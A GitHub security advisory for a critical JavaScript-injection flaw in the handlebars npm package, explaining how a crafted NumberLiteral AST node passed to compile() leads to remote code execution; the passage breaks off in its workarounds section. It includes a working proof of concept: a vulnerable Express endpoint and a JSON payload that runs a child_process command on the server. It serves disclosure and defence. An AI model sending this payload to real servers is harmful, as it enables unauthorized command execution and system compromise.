GitHub Security Advisory: GHSA-2w6w-674q-4c4q
Package: handlebars (NPM)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-843: Access of Resource Using Incompatible Type ('Type Confusion')
Vulnerable versions: >= 4.0.0, <= 4.7.8
Patched in: 4.7.9

Summary: Handlebars.js has JavaScript Injection via AST Type Confusion

Details:
## Summary

`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.

## Description

`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:

```javascript
// Simplified representation of the vulnerable code path:
// NumberLiteral.value is appended to the generated code without escaping
compiledCode += numberLiteralNode.value;
```

Because the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.

Any endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.

## Proof of Concept

Server-side Express application that passes `req.body.text` to `Handlebars.compile()`:


```Javascript
import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  let text = req.body.text;
  let template = Handlebars.compile(text);
  let result = template();
  res.send(result);
});

app.listen(2123);
```

```
POST /api/render HTTP/1.1
Content-Type: application/json
Host: 127.0.0.1:2123

{
  "text": {
    "type": "Program",
    "body": [
      {
        "type": "MustacheStatement",
        "path": {
          "type": "PathExpression",
          "data": false,
          "depth": 0,
          "parts": ["lookup"],
          "original": "lookup",
          "loc": null
        },
        "params": [
          {
            "type": "PathExpression",
            "data": false,
            "depth": 0,
            "parts": [],
            "original": "this",
            "loc": null
          },
          {
            "type": "NumberLiteral",
            "value": "{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //",
            "original": 1,
            "loc": null
          }
        ],
        "escaped": true,
        "strip": { "open": false, "close": false },
        "loc": null
      }
    ]
  }
}
```

The response body will contain the output of the `id` command executed on the server.

## Workarounds

- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a  `string`, never a plain object or JSON-deserialized value.
  ```javascript
  if (typeof templateInput !== 'string') {
    throw new TypeError('Template mus